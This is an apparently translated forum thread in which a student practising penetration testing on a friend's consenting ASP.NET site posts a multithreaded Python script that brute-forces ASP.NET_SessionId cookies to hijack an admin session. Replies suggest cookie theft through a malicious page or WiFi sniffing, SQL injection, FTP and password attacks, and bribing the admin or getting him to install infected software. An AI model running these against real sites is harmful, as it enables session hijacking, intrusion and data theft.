2013-10-30 45 views
1

我是新手在這裏。 我正在爲我的大學項目學習pentesting,並希望在相同的未來發展。 我有一個由我的朋友託管的網站(在雙方同意的情況下),他向我發起了攻擊。 它是一個簡單的網站在asp.net可能2.0 它使用表單登錄到網站。 在我的理解中,他正在生成ASP.NET_SessionId來存儲身份驗證。我試圖從網站註銷,但該cookie沒有過期。現在我想嘗試使用相同的方法登錄到管理員帳戶。作爲管理員,我不知道他從哪裏登錄。 我寫了這個蠻力python腳本來做同樣的事情,有50個線程。就好像我產生超過50個,然後會話開始超時。asp.net hack sessionId被暴力強制使用python腳本的可能性

#!/usr/bin/python 
import urllib2 
import string 
import itertools 
import threading 

threadLimiter = threading.BoundedSemaphore(50) 

class checkPage(threading.Thread): 
    def __init__(self,sessionID): 
     threading.Thread.__init__(self) 
      self.sessionID=sessionID 
    def run(self): 
     threadLimiter.acquire() 
     try: 
      opener = urllib2.build_opener() 
      opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID)) 
      f = opener.open("http://mysite.webber.org/default.aspx") 
      page = f.read() 
      f.close() 
      #if logged in write to file 
      if 'Welcome' in page: 
       k = open("session.txt","a") 
       k.write(self.sessionID+'\n') 
       k.close() 
     finally: 
      threadLimiter.release() 

count = 0 
for state in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=24): 
    sessionID = ''.join(state) 
    try: 
     thread=checkPage(sessionID) 
     thread.start() 
    except: 
     print "thread cannot be started" 
     break 
    if count==50: 
     thread.join() 
     count = 0 
    count += 1 

根據ASP.net,會話ID由CreateSessionId函數生成,並給出了帶有a-z和0-5的24個字節的輸出。

我打算竊取管理會話ID,然後再次使用它登錄到頁面並獲得管理員訪問權限。

這是一個正確的方法?

我認爲這種蠻力可能會持續下去。什麼是我最好的選擇,以減少暴力時間

謝謝。

+0

如果你的朋友正在生成可能包含「6」或會話集之外的任何其他字符的會話ID,它將確實帶你到永遠。你可以做的是編寫一個惡意網頁,並在其上放置一些有趣的內容,將鏈接複製到你的朋友說「檢查有趣的事情」。當你的朋友開始瀏覽它時,你會用ajax請求發送他的網站(cookie由瀏覽器插入)。現在,考慮到你們兩個都在使用WIFI的同一個房間裏,而你的朋友不使用SSL,你可以嗅到他的cookies。 –

回答

3

蠻力迫使吮吸。

沒有真的吸檸檬。

安全背後的想法並不是讓人們遠離,而是讓人們遠離他們,讓他們感到無聊,或者你發現他們突破。同時會話cookie是服務器端產生的東西,然後提供給客戶端,所以你蠻橫強迫這些在當時正在使用的cookies的可能性不大可能。

考慮替代方案可能是一個好主意。

  1. 目標盒子本身

    這是一個可行的選擇,而不是在網站上針對你的努力,試圖找到有漏洞,它可能會節省您的時間和精力不安全框後去直。也許利用不安全的密碼策略,或攻擊如FTP更不安全的服務,會產生更好的結果

  2. SQL

    哦SQL從哪裏開始。這些天,世界上大多數人似乎都在經營着你,而且絕大多數網站仍然沒有正確地對輸入進行消毒。這可能是一種情況,你可以在用戶名框上進行SQL注入,不需要付出艱辛的工作,你可以違反SQL服務器或只是獲取數據庫的轉儲,或者在找出模式時將記錄插入數據庫。

  3. 社會工程

    永遠不要忽視安全這方面,人類有一個價格,你可以買到任何人適量。出於這個原因,您可以隨時向他支付管理員權限,付給他設置密碼的權限,直接泄露他的密碼。或者讓他安裝受感染的軟件。

有很多其他可能的攻擊媒介,這個列表可能會持續一段時間,因此爲什麼我會保持它的簡短和重點。這些應該給你一些想法,在做鋼筆測試或審計時,對你的目標持開放態度是一個好主意。只要記住黃金法則。

保持簡單。笨。

+0

謝謝雅各布。作爲一個新手,我不知道從哪裏開始。你給了我一個我要追求的方向。一定會讓你知道它的結果 – haxpak